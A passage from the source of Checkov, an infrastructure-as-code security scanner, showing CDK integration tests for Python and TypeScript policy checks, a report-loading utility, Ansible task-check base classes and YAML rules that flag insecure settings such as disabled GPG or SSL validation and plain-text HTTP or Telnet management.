test_CKV_AWS_99_GlueSecurityConfiguration(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_99", policy_name="GlueSecurityConfiguration", language="python") def test_CKV_AWS_105_RedShiftSSL(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_105", policy_name="RedShiftSSL", language="python") def test_CKV_AWS_149_SecretManagerSecretEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_149", policy_name="SecretManagerSecretEncrypted", language="python") def test_CKV_AWS_59_APIGatewayAuthorization(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_59", policy_name="APIGatewayAuthorization", language="python") def test_CKV_AWS_89_DMSReplicationInstancePubliclyAccessible(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_89", policy_name="DMSReplicationInstancePubliclyAccessible", language="python") def test_CKV_AWS_34_CloudfrontDistributionEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_34", policy_name="CloudfrontDistributionEncryption", language="python") def test_CKV_AWS_95_APIGatewayV2AccessLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_95", policy_name="APIGatewayV2AccessLogging", language="python") def test_CKV_AWS_86_CloudfrontDistributionLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_86", policy_name="CloudfrontDistributionLogging", language="python") def test_CKV_AWS_90_DocDBTLS(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_90", policy_name="DocDBTLS", language="python") def test_CKV_AWS_174_CloudFrontTLS12(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_174", policy_name="CloudFrontTLS12", language="python") def test_CKV_AWS_71_RedshiftClusterLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_71", policy_name="RedshiftClusterLogging", language="python") def test_CKV_AWS_92_ELBAccessLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_92", policy_name="ELBAccessLogs", language="python") def test_CKV_AWS_67_CloudtrailMultiRegion(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_67", policy_name="CloudtrailMultiRegion", language="python") def test_CKV_AWS_91_ELBv2AccessLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_91", policy_name="ELBv2AccessLogs", language="python") def test_CKV_AWS_164_TransferServerIsPublic(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_164", policy_name="TransferServerIsPublic", language="python") def test_CKV_AWS_97_ECSTaskDefinitionEFSVolumeEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_97", policy_name="ECSTaskDefinitionEFSVolumeEncryption", language="python") def test_CKV_AWS_123_VPCEndpointAcceptanceConfigured(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_123", policy_name="VPCEndpointAcceptanceConfigured", language="python") def test_CKV_AWS_35_CloudtrailEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_35", policy_name="CloudtrailEncryption", language="python") def test_CKV_AWS_154_RedshiftInEc2ClassicMode(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_154", policy_name="RedshiftInEc2ClassicMode", language="python") def test_CKV_AWS_84_ElasticsearchDomainLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_84", policy_name="ElasticsearchDomainLogging", language="python") def test_CKV_AWS_136_ECRRepositoryEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_136", policy_name="ECRRepositoryEncrypted", language="python") def test_CKV_AWS_66_CloudWatchLogGroupRetention(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_66", policy_name="CloudWatchLogGroupRetention", language="python") def test_CKV_AWS_5_ElasticsearchEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_5", policy_name="ElasticsearchEncryption", language="python") def test_CKV_AWS_73_APIGatewayXray(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_73", policy_name="APIGatewayXray", language="python") def test_CKV_AWS_6_ElasticsearchNodeToNodeEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_6", policy_name="ElasticsearchNodeToNodeEncryption", language="python") def test_CKV_AWS_88_EC2PublicIP(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_88", policy_name="EC2PublicIP", language="python") def test_CKV_AWS_8_LaunchConfigurationEBSEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_8", policy_name="LaunchConfigurationEBSEncryption", language="python") def test_CKV_AWS_45_LambdaEnvironmentCredentials(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_45", policy_name="LambdaEnvironmentCredentials", language="python") def test_CKV_AWS_58_EKSSecretsEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_58", policy_name="EKSSecretsEncryption", language="python") def test_CKV_AWS_65_ECSClusterContainerInsights(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_65", policy_name="ECSClusterContainerInsights", language="python") def test_CKV_AWS_131_ALBDropHttpHeaders(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_131", policy_name="ALBDropHttpHeaders", language="python") def test_CKV_AWS_2_ALBListenerHTTPS(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_2", policy_name="ALBListenerHTTPS", language="python") def test_CKV_AWS_23_SecurityGroupRuleDescription(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_23", policy_name="SecurityGroupRuleDescription", language="python") def test_CKV_AWS_173_LambdaEnvironmentEncryptionSettings(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_173", policy_name="LambdaEnvironmentEncryptionSettings", language="python") def test_CKV_AWS_157_RDSMultiAZEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_157", policy_name="RDSMultiAZEnabled", language="python") def test_CKV_AWS_96_AuroraEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_96", policy_name="AuroraEncryption", language="python") ================================================ FILE: cdk_integration_tests/test_checks_typescript.py ================================================ from typing import Dict, Any, List import pytest from cdk_integration_tests.utils import run_check, load_failed_checks_from_file LANGUAGE = 'typescript' @pytest.fixture(scope="session", autouse=True) def failed_checks() -> Dict[str, List[Dict[str, Any]]]: report_failed_checks = load_failed_checks_from_file(LANGUAGE) yield report_failed_checks def test_CKV_AWS_131_ALBDropHttpHeaders(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_131", policy_name="ALBDropHttpHeaders", language="typescript") def test_CKV_AWS_2_ALBListenerHTTPS(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_2", policy_name="ALBListenerHTTPS", language="typescript") def test_CKV_AWS_59_APIGatewayAuthorization(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_59", policy_name="APIGatewayAuthorization", language="typescript") def test_CKV_AWS_76_APIGatewayAccessLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_76", policy_name="APIGatewayAccessLogging", language="typescript") def test_CKV_AWS_120_APIGatewayCacheEnable(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_120", policy_name="APIGatewayCacheEnable", language="typescript") def test_CKV_AWS_95_APIGatewayV2AccessLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_95", policy_name="APIGatewayV2AccessLogging", language="typescript") def test_CKV_AWS_73_APIGatewayXray(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_73", policy_name="APIGatewayXray", language="typescript") def test_CKV_AWS_194_AppSyncFieldLevelLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_194", policy_name="AppSyncFieldLevelLogs", language="typescript") def test_CKV_AWS_193_AppSyncLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_193", policy_name="AppSyncLogging", language="typescript") def test_CKV_AWS_82_AthenaWorkgroupConfiguration(failed_checks): # need to wait for variable rendering in TS run_check(check_results=failed_checks, check_id="CKV_AWS_82", policy_name="AthenaWorkgroupConfiguration", language="typescript") def test_CKV_AWS_131_AmazonMQBrokerPublicAccess(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_69", policy_name="AmazonMQBrokerPublicAccess", language="typescript") def test_CKV_AWS_96_AuroraEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_96", policy_name="AuroraEncryption", language="typescript") def test_CKV_AWS_166_BackupVaultEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_166", policy_name="BackupVaultEncrypted", language="typescript") def test_CKV_AWS_174_CloudFrontTLS12(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_174", policy_name="CloudFrontTLS12", language="typescript") def test_CKV_AWS_36_CloudTrailLogValidation(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_36", policy_name="CloudTrailLogValidation", language="typescript") def test_CKV_AWS_20_S3PublicACLRead(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_20", policy_name="S3PublicACLRead", language="typescript") def test_CKV_AWS_56_S3RestrictPublicBuckets(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_56", policy_name="S3RestrictPublicBuckets", language="typescript") def test_CKV_AWS_149_SecretManagerSecretEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_149", policy_name="SecretManagerSecretEncrypted", language="typescript") def test_CKV_AWS_23_SecurityGroupRuleDescription(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_23", policy_name="SecurityGroupRuleDescription", language="typescript") def test_CKV_AWS_26_SNSTopicEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_26", policy_name="SNSTopicEncryption", language="typescript") def test_CKV_AWS_27_SQSQueueEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_27", policy_name="SQSQueueEncryption", language="typescript") def test_CKV_AWS_164_TransferServerIsPublic(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_164", policy_name="TransferServerIsPublic", language="typescript") def test_CKV_AWS_123_VPCEndpointAcceptanceConfigured(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_123", policy_name="VPCEndpointAcceptanceConfigured", language="typescript") def test_CKV_AWS_68_WAFEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_68", policy_name="WAFEnabled", language="typescript") def test_CKV_AWS_156_WorkspaceRootVolumeEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_156", policy_name="WorkspaceRootVolumeEncrypted", language="typescript") def test_CKV_AWS_155_WorkspaceUserVolumeEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_155", policy_name="WorkspaceUserVolumeEncrypted", language="typescript") def test_CKV_AWS_88_EC2PublicIP(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_88", policy_name="EC2PublicIP", language="typescript") def test_CKV_AWS_163_ECRImageScanning(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_163", policy_name="ECRImageScanning", language="typescript") def test_CKV_AWS_51_ECRImmutableTags(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_51", policy_name="ECRImmutableTags", language="typescript") def test_CKV_AWS_136_ECRRepositoryEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_136", policy_name="ECRRepositoryEncrypted", language="typescript") def test_CKV_AWS_65_ECSClusterContainerInsights(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_65", policy_name="ECSClusterContainerInsights", language="typescript") def test_CKV_AWS_97_ECSTaskDefinitionEFSVolumeEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_97", policy_name="ECSTaskDefinitionEFSVolumeEncryption", language="typescript") def test_CKV_AWS_42_EFSEncryptionEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_42", policy_name="EFSEncryptionEnabled", language="typescript") def test_CKV_AWS_58_EKSSecretsEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_58", policy_name="EKSSecretsEncryption", language="typescript") def test_CKV_AWS_29_ElasticacheReplicationGroupEncryptionAtRest(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_29", policy_name="ElasticacheReplicationGroupEncryptionAtRest", language="typescript") def test_CKV_AWS_30_ElasticacheReplicationGroupEncryptionAtTransit(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_30", policy_name="ElasticacheReplicationGroupEncryptionAtTransit", language="typescript") def test_CKV_AWS_31_ElasticacheReplicationGroupEncryptionAtTransitAuthToken(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_31", policy_name="ElasticacheReplicationGroupEncryptionAtTransitAuthToken", language="typescript") def test_CKV_AWS_83_ElasticsearchDomainEnforceHTTPS(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_83", policy_name="ElasticsearchDomainEnforceHTTPS", language="typescript") def test_CKV_AWS_84_ElasticsearchDomainLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_84", policy_name="ElasticsearchDomainLogging", language="typescript") def test_CKV_AWS_92_ELBAccessLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_92", policy_name="ELBAccessLogs", language="typescript") def test_CKV_AWS_91_ELBv2AccessLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_91", policy_name="ELBv2AccessLogs", language="typescript") def test_CKV_AWS_158_CloudWatchLogGroupKMSKey(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_158", policy_name="CloudWatchLogGroupKMSKey", language="typescript") def test_CKV_AWS_66_CloudWatchLogGroupRetention(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_66", policy_name="CloudWatchLogGroupRetention", language="typescript") def test_CKV_AWS_34_CloudfrontDistributionEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_34", policy_name="CloudfrontDistributionEncryption", language="typescript") def test_CKV_AWS_86_CloudfrontDistributionLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_86", policy_name="CloudfrontDistributionLogging", language="typescript") def test_CKV_AWS_35_CloudtrailEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_35", policy_name="CloudtrailEncryption", language="typescript") def test_CKV_AWS_67_CloudtrailMultiRegion(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_67", policy_name="CloudtrailMultiRegion", language="typescript") def test_CKV_AWS_78_CodeBuildProjectEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_78", policy_name="CodeBuildProjectEncryption", language="typescript") def test_CKV_AWS_47_DAXEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_47", policy_name="DAXEncryption", language="typescript") def test_CKV_AWS_89_DMSReplicationInstancePubliclyAccessible(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_89", policy_name="DMSReplicationInstancePubliclyAccessible", language="typescript") def test_CKV_AWS_104_DocDBAuditLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_104", policy_name="DocDBAuditLogs", language="typescript") def test_CKV_AWS_74_DocDBEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_74", policy_name="DocDBEncryption", language="typescript") def test_CKV_AWS_90_DocDBTLS(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_90", policy_name="DocDBTLS", language="typescript") def test_CKV_AWS_165_DynamodbGlobalTableRecovery(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_165", policy_name="DynamodbGlobalTableRecovery", language="typescript") def test_CKV_AWS_28_DynamodbRecovery(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_28", policy_name="DynamodbRecovery", language="typescript") def test_CKV_AWS_3_EBSEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_3", policy_name="EBSEncryption", language="typescript") def test_CKV_AWS_18_S3BucketLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_18", policy_name="S3BucketLogging", language="typescript") def test_CKV_AWS_19_S3BucketEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_19", policy_name="S3BucketEncryption", language="typescript") def test_CKV_AWS_21_S3BucketVersioning(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_21", policy_name="S3BucketVersioning", language="typescript") def test_CKV_AWS_145_S3BucketKMSEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_145", policy_name="S3BucketKMSEncryption", language="typescript") def test_CKV2_AWS_6_S3BucketPublicAccessBlock(failed_checks): run_check(check_results=failed_checks, check_id="CKV2_AWS_6", policy_name="S3BucketPublicAccessBlock", language="typescript") def test_CKV_AWS_195_GlueSecurityConfigurationEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_195", policy_name="GlueSecurityConfigurationEnabled", language="typescript") def test_CKV_AWS_5_ElasticsearchEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_5", policy_name="ElasticsearchEncryption", language="typescript") def test_CKV_AWS_6_ElasticsearchNodeToNodeEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_6", policy_name="ElasticsearchNodeToNodeEncryption", language="typescript") def test_CKV_AWS_94_GlueDataCatalogEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_94", policy_name="GlueDataCatalogEncryption", language="typescript") def test_CKV_AWS_99_GlueSecurityConfiguration(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_99", policy_name="GlueSecurityConfiguration", language="typescript") def test_CKV_AWS_40_IAMPolicyAttachedToGroupOrRoles(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_40", policy_name="IAMPolicyAttachedToGroupOrRoles", language="typescript") def test_CKV_AWS_43_KinesisStreamEncryptionType(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_43", policy_name="KinesisStreamEncryptionType", language="typescript") def test_CKV_AWS_116_LambdaDLQConfigured(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_116", policy_name="LambdaDLQConfigured", language="typescript") def test_CKV_AWS_45_LambdaEnvironmentCredentials(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_45", policy_name="LambdaEnvironmentCredentials", language="typescript") def test_CKV_AWS_173_LambdaEnvironmentEncryptionSettings(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_173", policy_name="LambdaEnvironmentEncryptionSettings", language="typescript") def test_CKV_AWS_115_LambdaFunctionLevelConcurrentExecutionLimit(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_115", policy_name="LambdaFunctionLevelConcurrentExecutionLimit", language="typescript") def test_CKV_AWS_117_LambdaInVPC(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_117", policy_name="LambdaInVPC", language="typescript") def test_CKV_AWS_8_LaunchConfigurationEBSEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_8", policy_name="LaunchConfigurationEBSEncryption", language="typescript") def test_CKV_AWS_44_NeptuneClusterStorageEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_44", policy_name="NeptuneClusterStorageEncrypted", language="typescript") # unskip after BCE-33034 # def test_CKV_AWS_118_RDSEnhancedMonitorEnabled(failed_checks): # run_check(check_results=failed_checks, check_id="CKV_AWS_118", policy_name="RDSEnhancedMonitorEnabled", # language="typescript") def test_CKV_AWS_157_RDSMultiAZEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_157", policy_name="RDSMultiAZEnabled", language="typescript") def test_CKV_AWS_17_RDSPubliclyAccessible(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_17", policy_name="RDSPubliclyAccessible", language="typescript") def test_CKV_AWS_105_RedShiftSSL(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_105", policy_name="RedShiftSSL", language="typescript") def test_CKV_AWS_64_RedshiftClusterEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_64", policy_name="RedshiftClusterEncryption", language="typescript") def test_CKV_AWS_71_RedshiftClusterLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_71", policy_name="RedshiftClusterLogging", language="typescript") def test_CKV_AWS_87_RedshiftClusterPubliclyAccessible(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_87", policy_name="RedshiftClusterPubliclyAccessible", language="typescript") def test_CKV_AWS_154_RedshiftInEc2ClassicMode(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_154", policy_name="RedshiftInEc2ClassicMode", language="typescript") def test_CKV_AWS_53_S3BlockPublicACLs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_53", policy_name="S3BlockPublicACLs", language="typescript") def test_CKV_AWS_54_S3BlockPublicPolicy(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_54", policy_name="S3BlockPublicPolicy", language="typescript") ================================================ FILE: cdk_integration_tests/utils.py ================================================ import json import os from typing import List, Dict, Any import yaml current_dir = os.path.dirname(os.path.realpath(__file__)) def load_failed_checks_from_file(lang: str) -> Dict[str, List[Dict[str, Any]]]: report_path = os.path.join(current_dir, '..', 'checkov_report_cdk.json') with open(report_path) as f: data = f.read() reports = json.loads(data) for report in reports: if report.get('check_type') == f'cdk_{lang}': assert report is not None results = report.get("results", {}) failed_checks = results.get("failed_checks") skipped_checks = results.get("skipped_checks") results = {} for check in failed_checks: check_id = check['check_id'] if not results.get(check_id): results[check_id] = [] results[check_id].append(check) for check in skipped_checks: check_id = check['check_id'] if not results.get(check_id): results[check_id] = [] results[check_id].append(check) return results return {} def is_policy_with_correct_check_id(check_id: str, language: str, policy_name: str) -> bool: path = os.path.join(current_dir, '..', 'checkov', 'cdk', 'checks', language, policy_name + ".yaml") with open(path, 'r') as file: data = yaml.safe_load(file) if 'metadata' in data and 'id' in data['metadata'] and data['metadata']['id'] == check_id: return True return False def run_check(check_results: Dict[str, List[Dict[str, Any]]], check_id: str, policy_name: str, language: str) -> None: assert is_policy_with_correct_check_id(check_id, language, policy_name) results_for_check_id = check_results.get(check_id) assert results_for_check_id def validate_report(report_path: str) -> None: with open(report_path) as f: data = f.read() report = json.loads(data) assert report is not None results = report.get("results") assert results is not None passed_checks = results.get("passed_checks") failed_checks = results.get("failed_checks") assert not passed_checks assert failed_checks is not None assert isinstance(failed_checks, list) assert len(failed_checks) > 0 summary = report.get("summary") assert summary.get("passed") == 0 assert summary.get("failed") > 0 ================================================ FILE: checkov/__init__.py ================================================ ================================================ FILE: checkov/ansible/__init__.py ================================================ from checkov.ansible.checks import * # noqa ================================================ FILE: checkov/ansible/checks/__init__.py ================================================ from checkov.ansible.checks.task import * # noqa ================================================ FILE: checkov/ansible/checks/base_ansible_task_check.py ================================================ from __future__ import annotations import json import logging from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.ansible.checks.registry import registry from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckResult if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories class BaseAnsibleTaskCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_modules: Iterable[str], block_type: str, guideline: str | None = None, path: str | None = None, ) -> None: supported_entities = [ entity for module in supported_modules for entity in ( f'[].tasks[?"{module}" != null][]', f'[?"{module}" != null][]', f'[].tasks[].block[?"{module}" != null][]', f'[].block[?"{module}" != null][]', f'[].tasks[].block[].block[?"{module}" != null][]', f'[].block[].block[?"{module}" != null][]', # in theory, it can be more nested, but let's stop at 3 levels # jmespath lib doesn't support recursive search https://github.com/jmespath/jmespath.py/issues/110 f'[].tasks[].block[].block[].block[?"{module}" != null][]', f'[].block[].block[].block[?"{module}" != null][]', ) ] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, guideline=guideline, ) self.entity_conf: dict[str, Any] # stores the complete entity configuration self.path = path self.supported_modules = supported_modules registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.entity_type = entity_type self.entity_conf = conf module_conf = next((conf[module] for module in self.supported_modules if module in conf), None) if not module_conf: # this should actually never happen, but better to be safe, than sorry logging.info(f"Failed to find supported module {self.supported_modules} in {json.dumps(conf)}") return CheckResult.UNKNOWN, conf return self.scan_conf(module_conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: pass ================================================ FILE: checkov/ansible/checks/base_ansible_task_value_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.ansible.checks.base_ansible_task_check import BaseAnsibleTaskCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.yaml_doc.enums import BlockType if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories class BaseAnsibleTaskValueCheck(BaseAnsibleTaskCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_modules: Iterable[str], guideline: str | None = None, path: str | None = None, missing_block_result: CheckResult = CheckResult.FAILED, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_modules=supported_modules, block_type=BlockType.ARRAY, guideline=guideline, path=path, ) self.missing_block_result = missing_block_result def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: inspected_key = self.get_inspected_key() expected_values = self.get_expected_values() value = find_in_dict(conf, inspected_key) if value is None: return self.missing_block_result, self.entity_conf if ANY_VALUE in expected_values: return CheckResult.PASSED, self.entity_conf if value in expected_values: return CheckResult.PASSED, self.entity_conf # quite often string values are case-insensitive if isinstance(value, str) and value.lower() in [exp.lower() for exp in expected_values if isinstance(exp, str)]: return CheckResult.PASSED, self.entity_conf return CheckResult.FAILED, self.entity_conf @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() def get_expected_values(self) -> list[Any]: """ Override the method with the list of acceptable values if the check has more than one possible expected value, given the inspected key :return: List of expected values, defaults to a list of the expected value """ return [self.get_expected_value()] def get_expected_value(self) -> Any: """ Returns the default expected value, governed by provider best practices """ return True def get_evaluated_keys(self) -> list[str]: return [self.get_inspected_key()] ================================================ FILE: checkov/ansible/checks/graph_checks/BlockErrorHandling.yaml ================================================ metadata: id: "CKV2_ANSIBLE_3" name: "Ensure block is handling task errors properly" category: "BACKUP_AND_RECOVERY" definition: cond_type: attribute resource_types: - block attribute: rescue operator: exists ================================================ FILE: checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml ================================================ metadata: id: "CKV2_ANSIBLE_4" name: "Ensure that packages with untrusted or missing GPG signatures are not used by dnf" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: - tasks.ansible.builtin.dnf - tasks.dnf attribute: disable_gpg_check operator: not_equals value: true ================================================ FILE: checkov/ansible/checks/graph_checks/DnfSslVerify.yaml ================================================ metadata: id: "CKV2_ANSIBLE_5" name: "Ensure that SSL validation isn't disabled with dnf" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: - tasks.ansible.builtin.dnf - tasks.dnf attribute: sslverify operator: not_equals value: false ================================================ FILE: checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml ================================================ metadata: id: "CKV2_ANSIBLE_6" name: "Ensure that certificate validation isn't disabled with dnf" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: - tasks.ansible.builtin.dnf - tasks.dnf attribute: validate_certs operator: not_equals value: false ================================================ FILE: checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml ================================================ metadata: id: "CKV2_ANSIBLE_2" name: "Ensure that HTTPS url is used with get_url" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: - tasks.ansible.builtin.get_url - tasks.get_url attribute: url operator: not_starting_with value: "http://" - cond_type: attribute resource_types: - tasks.ansible.builtin.get_url - tasks.get_url attribute: url operator: not_starting_with value: "ftp://" ================================================ FILE: checkov/ansible/checks/graph_checks/PanosIPsecAuthenticationAlgorithms.yaml ================================================ metadata: id: "CKV_PAN_12" name: "Ensure IPsec profiles do not specify use of insecure authentication algorithms" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_ipsec_profile attribute: esp_authentication operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_ipsec_profile attribute: esp_authentication operator: not_contains value: 'none' - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_ipsec_profile attribute: esp_authentication operator: not_contains value: 'md5' - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_ipsec_profile attribute: esp_authentication operator: not_contains value: 'sha1' ================================================ FILE: checkov/ansible/checks/graph_checks/PanosIPsecProtocols.yaml ================================================ metadata: id: "CKV_PAN_13" name: "Ensure IPsec profiles do not specify use of insecure protocols" category: "NETWORKING" definition: cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_ipsec_profile attribute: ah_authentication operator: not_exists ================================================ FILE: checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoHTTP.yaml ================================================ metadata: id: "CKV_PAN_2" name: "Ensure plain-text management HTTP is not enabled for an Interface Management Profile" category: "NETWORKING" definition: or: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_management_profile attribute: http operator: not_exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_management_profile attribute: http operator: not_equals value: true ================================================ FILE: checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoTelnet.yaml ================================================ metadata: id: "CKV_PAN_3" name: "Ensure plain-text management Telnet is not enabled for an Interface Management Profile" category: "NETWORKING" definition: or: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_management_profile attribute: telnet operator: not_exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_management_profile 